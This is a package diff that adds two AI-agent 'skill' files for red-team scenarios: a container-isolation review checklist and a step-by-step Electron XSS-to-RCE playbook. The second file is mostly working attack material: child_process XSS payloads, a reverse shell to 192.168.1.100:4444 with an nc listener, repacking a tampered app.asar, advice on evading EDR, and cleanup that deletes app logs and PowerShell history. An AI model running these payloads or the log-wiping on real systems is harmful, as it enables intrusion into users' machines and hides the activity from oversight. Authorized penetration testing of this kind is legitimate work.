rtexit-method 0.1.0 → 0.1.1

package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md

@@ -0,0 +1,72 @@
+---
+name: rt-scenario-c005
+description: "C-005: Container workload isolation and host-impact risk assessment. Domain: cloud. Authorized scenario for privileged containers, host mounts, Kubernetes RBAC, cloud identity, and remediation."
+---
+
+# C-005: Container Isolation and Host Impact Risk
+
+## Overview
+
+Container compromise becomes critical when workloads are privileged, have host mounts, share host namespaces, use powerful service accounts, or can reach cloud metadata. This scenario evaluates whether container-level access can become host, cluster, or cloud-level impact.
+
+| Field | Value |
+|---|---|
+| Domain | Cloud / Containers |
+| Objective | Assess container escape and blast radius risk |
+| Required Access | Cluster read access or approved workload manifest review |
+| Detection Risk | Low for review, High for active escape testing |
+| Primary Impact | Host, cluster, or cloud account compromise |
+
+## Prerequisites
+
+- Cluster, namespace, and workload scope.
+- Approved kubeconfig/cloud role.
+- Test namespace for active validation if needed.
+- No production escape attempts unless explicitly authorized and isolated.
+
+## Risk Indicators
+
+- `privileged: true`.
+- Host filesystem mounts.
+- Host PID/IPC/network namespaces.
+- Added dangerous Linux capabilities.
+- Writable Docker socket.
+- Cluster-admin service account.
+- Metadata service reachable with powerful cloud role.
+
+## Workflow
+
+1. Inventory workloads and namespaces.
+2. Review pod specs for risky isolation settings.
+3. Review RBAC and service account tokens.
+4. Review network policies and metadata access.
+5. Review image provenance and secrets exposure.
+6. Model blast radius from a compromised pod.
+7. Recommend controls by highest break-point value.
+
+## MITRE ATT&CK Mapping
+
+| Phase | Tactic | Technique |
+|---|---|---|
+| Escape | Privilege Escalation | Escape to Host |
+| Lateral | Lateral Movement | Container and Resource Discovery |
+| Cloud | Credential Access | Cloud Instance Metadata API |
+
+## Evidence
+
+- Sanitized pod spec.
+- RBAC summary.
+- Service account permissions.
+- Network policy state.
+- Cloud role policy summary.
+
+## Remediation
+
+- Enforce restricted Pod Security Standards.
+- Remove host mounts and privileged mode.
+- Reduce Linux capabilities.
+- Scope service accounts per workload.
+- Add network policies.
+- Block metadata service where unnecessary.
+- Enable runtime detection.
+

package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md

@@ -0,0 +1,378 @@
+---
+name: rt-scenario-d001
+description: "D-001: Electron App XSS → RCE via nodeIntegration. Domain: desktop. Attack chain: extract ASAR archive → find nodeIntegration: true → find XSS in embedded browser view → inject require(child_process) → OS command execution. MITRE: T1059.007 → T1059.004. Real example: Business app loads external content with nodeIntegration:true → XSS in loaded page → calc.exe on Windows"
+---
+
+# D-001: Electron App XSS → RCE via nodeIntegration
+
+## Overview
+
+| Property | Value |
+|---|---|
+| Attack Objective | Achieve OS-level Remote Code Execution by exploiting XSS within an Electron app that has nodeIntegration enabled |
+| Required Access Level | None (unauthenticated if the XSS is in externally loaded content) or Low (local app access) |
+| Estimated Time to Execute | 30–90 minutes (depending on ASAR extraction speed and XSS surface discovery) |
+| Detection Risk Level | Low (no network signatures during local phase; calc.exe pop is noisy — swap with a silent payload during real engagements) |
+
+Electron apps bundle a Chromium browser and a Node.js runtime. When `nodeIntegration: true` is set in a `BrowserWindow` or `webview`, JavaScript running inside that window has full access to Node.js APIs including `require('child_process')`. A single XSS vector anywhere in the rendered HTML is sufficient for full OS command execution — no memory corruption required.
+
+## Prerequisites
+
+### Required Tools
+
+```bash
+# Node.js (includes npm) — needed for asar
+node --version || winget install OpenJS.NodeJS
+
+# asar — Electron archive tool
+npm install -g asar
+
+# Python 3 (optional — for quick HTTP server during payload staging)
+python --version || winget install Python.Python.3
+
+# strings / grep equivalent (PowerShell built-in on Windows)
+# No additional install needed
+
+# Optional: electron-builder for repacking
+npm install -g electron-builder
+```
+
+### Required Access or Conditions
+
+- Read access to the target Electron application directory (e.g., `C:\Program Files\TargetApp\` or `~/.local/share/TargetApp/`)
+- The target application must render external or user-controlled HTML content
+- `nodeIntegration: true` must be present in the `BrowserWindow` or `webview` configuration (confirmed in step-by-step phase)
+- Authorized penetration test engagement or isolated lab environment
+
+### Skill Level
+
+**INTERMEDIATE** — Requires familiarity with JavaScript, basic Electron internals, and XSS exploitation. No exploit development or memory corruption skills needed.
+
+## Attack Chain
+
+```
+[1] Extract ASAR archive
+        |
+        v
+[2] Grep source for nodeIntegration: true
+        |
+        v
+[3] Identify XSS surface in BrowserWindow / webview content
+        |
+        v
+[4] Craft payload: require('child_process').exec(...)
+        |
+        v
+[5] Deliver XSS → Node.js executes OS command
+        |
+        v
+[6] OS Command Execution (RCE)
+```
+
+**MITRE ATT&CK:**
+- T1059.007 — Command and Scripting Interpreter: JavaScript
+- T1059.004 — Command and Scripting Interpreter: Unix Shell / T1059.003 — Windows Command Shell (final stage depends on OS)
+
+## Step-by-Step Execution
+
+### Step 1 — Locate and Extract the ASAR Archive
+
+Electron apps ship application code inside an `app.asar` archive.
+
+```powershell
+# Find the ASAR file (Windows example)
+Get-ChildItem -Path "C:\Program Files" -Recurse -Filter "app.asar" -ErrorAction SilentlyContinue
+
+# Common locations
+# Windows: C:\Program Files\<AppName>\resources\app.asar
+# macOS:   /Applications/<AppName>.app/Contents/Resources/app.asar
+# Linux:   /opt/<appname>/resources/app.asar
+
+# Extract the archive to a working directory
+asar extract "C:\Program Files\TargetApp\resources\app.asar" C:\RT\d001\app-extracted
+```
+
+**Expected output:**
+
+```
+(no output — silent success)
+C:\RT\d001\app-extracted\   <-- directory now populated with JS/HTML source
+```
+
+**Fallback if asar fails:**
+```powershell
+# Some builds use app/ folder directly (no ASAR)
+Get-ChildItem "C:\Program Files\TargetApp\resources\" -Directory
+
+# If ASAR is encrypted (rare), check for electron-builder config for key hints
+Get-Content "C:\Program Files\TargetApp\resources\app.asar.unpacked\" -Recurse
+```
+
+### Step 2 — Identify nodeIntegration: true
+
+```powershell
+# Search all JS files for nodeIntegration
+Select-String -Path "C:\RT\d001\app-extracted\*.js" -Pattern "nodeIntegration\s*:\s*true" -Recurse
+
+# Also check for contextIsolation: false (weakens sandbox even without nodeIntegration)
+Select-String -Path "C:\RT\d001\app-extracted\*.js" -Pattern "contextIsolation\s*:\s*false" -Recurse
+
+# Check webview tags with nodeintegration attribute
+Select-String -Path "C:\RT\d001\app-extracted\*.html" -Pattern "nodeintegration" -Recurse
+```
+
+**Expected output:**
+
+```
+C:\RT\d001\app-extracted\main.js:42:    nodeIntegration: true,
+C:\RT\d001\app-extracted\main.js:43:    contextIsolation: false,
+```
+
+**Fallback if not found:**
+- Search for `webPreferences` block and inspect each key manually.
+- Check if `enableRemoteModule: true` is present — older Electron versions allow RCE via `remote.require`.
+- Look for `nodeIntegrationInSubFrames` or `nodeIntegrationInWorker`.
+
+### Step 3 — Identify the XSS Surface
+
+```powershell
+# Find all loadURL / loadFile calls — these are the content sources
+Select-String -Path "C:\RT\d001\app-extracted\*.js" -Pattern "loadURL|loadFile" -Recurse
+
+# Find webview src attributes
+Select-String -Path "C:\RT\d001\app-extracted\*.html" -Pattern "<webview" -Recurse
+
+# Find innerHTML assignments or other DOM sinks
+Select-String -Path "C:\RT\d001\app-extracted\*.js" -Pattern "innerHTML|outerHTML|document\.write|insertAdjacentHTML" -Recurse
+```
+
+**Expected output:**
+
+```
+C:\RT\d001\app-extracted\renderer.js:88:  document.getElementById('preview').innerHTML = userInput;
+C:\RT\d001\app-extracted\main.js:31:  win.loadURL('https://external-content.example.com');
+```
+
+Confirm the XSS sink: `innerHTML` with unsanitized user input is a direct injection point.
+
+**Fallback if no obvious sink:**
+- Trace data flow from IPC messages (`ipcRenderer.on`) to DOM writes.
+- Use a local HTTP server to observe what the app fetches.
+- Check for `eval()`, `Function()`, or `setTimeout(string)` calls.
+
+### Step 4 — Craft the XSS → RCE Payload
+
+The goal is to get JavaScript executing in the renderer process with Node.js access.
+
+**Minimal proof-of-concept payload (Windows — pops calc.exe):**
+
+```javascript
+<img src=x onerror="require('child_process').exec('calc.exe')">
+```
+
+**Stealth payload (writes a marker file — less noisy than calc.exe):**
+
+```javascript
+<img src=x onerror="require('child_process').exec('cmd.exe /c echo pwned > C:\\RT\\d001\\pwned.txt')">
+```
+
+**Reverse shell payload (replace IP/port for your listener):**
+
+```javascript
+<img src=x onerror="
+  var net=require('net'),
+      cp=require('child_process'),
+      sh=cp.spawn('cmd.exe',[]);
+  var c=new net.Socket();
+  c.connect(4444,'192.168.1.100',function(){
+    c.pipe(sh.stdin);
+    sh.stdout.pipe(c);
+    sh.stderr.pipe(c);
+  });
+">
+```
+
+**If `require` is not directly accessible (contextIsolation partial config):**
+
+```javascript
+// Try accessing via window object
+<img src=x onerror="window.require('child_process').exec('calc.exe')">
+
+// Try preload script leak
+<img src=x onerror="(()=>{const e=document.createElement('script');e.src='data:,require(\'child_process\').exec(\'calc.exe\')';document.head.appendChild(e)})()">
+```
+
+### Step 5 — Deliver the Payload
+
+**Option A — XSS via user input field (innerHTML sink):**
+
+1. Launch the target application.
+2. Navigate to the input field that feeds the vulnerable `innerHTML` assignment.
+3. Paste the payload directly into the field.
+4. Trigger the rendering action (submit, preview, refresh).
+
+**Option B — XSS via externally loaded URL (app calls `loadURL`):**
+
+```powershell
+# Start a local HTTP server serving a malicious page
+# Create the payload HTML file
+Set-Content -Path "C:\RT\d001\serve\index.html" -Value @"
+<!DOCTYPE html>
+<html>
+<body>
+<img src=x onerror="require('child_process').exec('calc.exe')">
+</body>
+</html>
+"@
+
+# Serve it
+python -m http.server 8080 --directory C:\RT\d001\serve
+```
+
+If the app loads a URL you can influence (e.g., via a parameter, config file, or intercepted request), point it to `http://127.0.0.1:8080/index.html`.
+
+**Option C — Modify extracted source and repack (authorized lab scenario):**
+
+```powershell
+# Edit the renderer to inject payload on load
+Add-Content -Path "C:\RT\d001\app-extracted\renderer.js" -Value `
+  "document.body.innerHTML += '<img src=x onerror=\"require(\'child_process\').exec(\'calc.exe\')\">';"
+
+# Repack the ASAR
+asar pack C:\RT\d001\app-extracted "C:\Program Files\TargetApp\resources\app.asar"
+
+# Restart the application
+Stop-Process -Name "TargetApp" -Force
+Start-Process "C:\Program Files\TargetApp\TargetApp.exe"
+```
+
+### Step 6 — Confirm OS Command Execution
+
+**Expected output for calc.exe payload:**
+
+```
+Windows Calculator opens on the desktop.
+```
+
+**Expected output for file marker payload:**
+
+```powershell
+Get-Content C:\RT\d001\pwned.txt
+# Output: pwned
+```
+
+**Expected output for reverse shell payload:**
+
+```bash
+# On attacker machine (listener)
+nc -lvnp 4444
+# Connection received from <target-ip>
+# Microsoft Windows [Version ...]
+# C:\Program Files\TargetApp>whoami
+# desktop-abc\user
+```
+
+## Real-World Reference
+
+A business application (e.g., a Markdown editor, internal dashboard, or chat client) loads external web content or user-supplied HTML inside a `BrowserWindow` configured with `nodeIntegration: true`. An attacker who can influence the loaded content — through a stored XSS in a connected web service, a malicious file opened by the app, or a man-in-the-middle on unencrypted HTTP — injects a `require('child_process')` payload. The Electron renderer executes it with the privileges of the desktop user, launching `calc.exe` on Windows as a proof of concept or a reverse shell in a real attack.
+
+Notable public cases:
+- **VSCode extensions** (pre-2019) — extensions ran in renderer with nodeIntegration before the sandbox was enforced.
+- **Slack desktop client** (2019, HackerOne) — XSS in message rendering led to RCE via nodeIntegration before the fix.
+- **Mattermost desktop** (CVE-2017-8834 class) — loaded external URLs with nodeIntegration enabled.
+- **exodus cryptocurrency wallet** (2018) — nodeIntegration enabled; XSS in transaction data led to wallet key exfiltration.
+
+## MITRE ATT&CK Mapping
+
+| Step | Phase | Tactic | Technique | Sub-technique |
+|---|---|---|---|---|
+| 1 — Extract ASAR | Reconnaissance | Discovery | T1083 — File and Directory Discovery | — |
+| 2 — Find nodeIntegration | Reconnaissance | Discovery | T1518 — Software Discovery | T1518.001 — Security Software Discovery (config audit) |
+| 3 — Find XSS surface | Reconnaissance | Discovery | T1083 — File and Directory Discovery | — |
+| 4 — Craft JS payload | Execution | Execution | T1059.007 — Command and Scripting Interpreter: JavaScript | — |
+| 5 — Deliver XSS | Execution | Initial Access / Execution | T1059.007 — JavaScript | T1189 — Drive-by Compromise (if via external URL) |
+| 6 — OS command execution | Execution | Execution | T1059.003 — Windows Command Shell | — |
+| 6 — Reverse shell | Command & Control | C2 | T1059.004 — Unix Shell / T1059.003 | T1071.001 — Web Protocols |
+| Post-exploitation | Privilege Escalation | — | T1548 — Abuse Elevation Control Mechanism | If app runs elevated |
+
+## Detection and OPSEC
+
+### How This Attack is Detected
+
+| Detection Point | Signal |
+|---|---|
+| Endpoint EDR | `child_process.exec` spawning `cmd.exe` / `calc.exe` as child of Electron renderer process |
+| Process tree | `TargetApp.exe` → `cmd.exe` (anomalous parent-child relationship) |
+| File system | New files written by the Electron process to unexpected locations |
+| Network | Outbound TCP connection from Electron process to unknown IP on non-standard port (reverse shell) |
+| ASAR modification | Hash mismatch on `app.asar` if integrity checking is in place |
+| Logging | `console.error` / renderer crash logs if payload fails |
+
+### Reducing Detection Risk During Authorized Engagement
+
+- Use the **file marker payload** (`echo pwned > file.txt`) instead of calc.exe — calc.exe triggers many EDR behavioral rules.
+- For reverse shell testing, use an **internal listener** (same subnet) to avoid crossing network egress controls.
+- Avoid repacking `app.asar` in production environments — use Option A or B (live injection) to avoid modifying binaries.
+- Schedule the test during a **maintenance window** if EDR alerting is active.
+- Coordinate with the blue team so payload execution does not trigger an incident response.
+- Use **short-lived payloads** — write output to a file and delete it rather than keeping a shell open.
+
+### Artifacts Left Behind
+
+| Artifact | Location | Notes |
+|---|---|---|
+| Extracted ASAR | `C:\RT\d001\app-extracted\` | Working directory — remove after test |
+| Marker file | `C:\RT\d001\pwned.txt` | Remove after confirming RCE |
+| Modified `app.asar` | `C:\Program Files\TargetApp\resources\app.asar` | Restore original if repacked |
+| HTTP server log | `C:\RT\d001\serve\` | Python HTTP server access logs |
+| Electron renderer logs | `%APPDATA%\<AppName>\logs\` | May contain console output from payload |
+| Windows Event Log | Security / Application | Process creation events (Event ID 4688 if auditing enabled) |
+
+## Cleanup
+
+```powershell
+# 1. Remove working directory
+Remove-Item -Recurse -Force C:\RT\d001
+
+# 2. Restore original app.asar (if repacked during Option C)
+# Requires having backed up the original first:
+# Copy-Item "C:\Program Files\TargetApp\resources\app.asar" "C:\RT\backup\app.asar.bak"
+Copy-Item "C:\RT\backup\app.asar.bak" "C:\Program Files\TargetApp\resources\app.asar" -Force
+
+# 3. Restart the application to load the restored ASAR
+Stop-Process -Name "TargetApp" -Force -ErrorAction SilentlyContinue
+Start-Process "C:\Program Files\TargetApp\TargetApp.exe"
+
+# 4. Clear Electron app logs
+Remove-Item -Force "$env:APPDATA\TargetApp\logs\*" -ErrorAction SilentlyContinue
+
+# 5. Clear PowerShell command history
+Clear-History
+Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
+
+# 6. Verify cleanup
+Test-Path C:\RT\d001   # Should return False
+Get-Process -Name "TargetApp" | Select-Object Name, Id   # Should show clean restart
+```
+
+## References
+
+### Tools
+
+| Tool | Purpose | URL |
+|---|---|---|
+| `asar` | Extract and repack Electron ASAR archives | https://github.com/electron/asar |
+| `electron-builder` | Repack full Electron applications | https://www.electron.build/ |
+| Burp Suite | Intercept HTTP loaded by Electron | https://portswigger.net/burp |
+| Frida | Dynamic instrumentation of Electron processes | https://frida.re |
+| DevTools (F12) | Built-in Chromium DevTools inside Electron | Enabled by default in dev builds |
+
+### Reading
+
+- Electron Security Documentation: https://www.electronjs.org/docs/latest/tutorial/security
+- "Electron Security Checklist" — GitHub: https://github.com/nicedoc/awesome-electron-security
+- CVE-2018-15685 — Electron nodeIntegration bypass via `<webview>` drag-and-drop
+- HackerOne report #681532 — Slack XSS → RCE via nodeIntegration (2019)
+- "From Markdown to RCE in Atom" — https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom/
+- MITRE ATT&CK T1059.007: https://attack.mitre.org/techniques/T1059/007/
+- MITRE ATT&CK T1059.003: https://attack.mitre.org/techniques/T1059/003/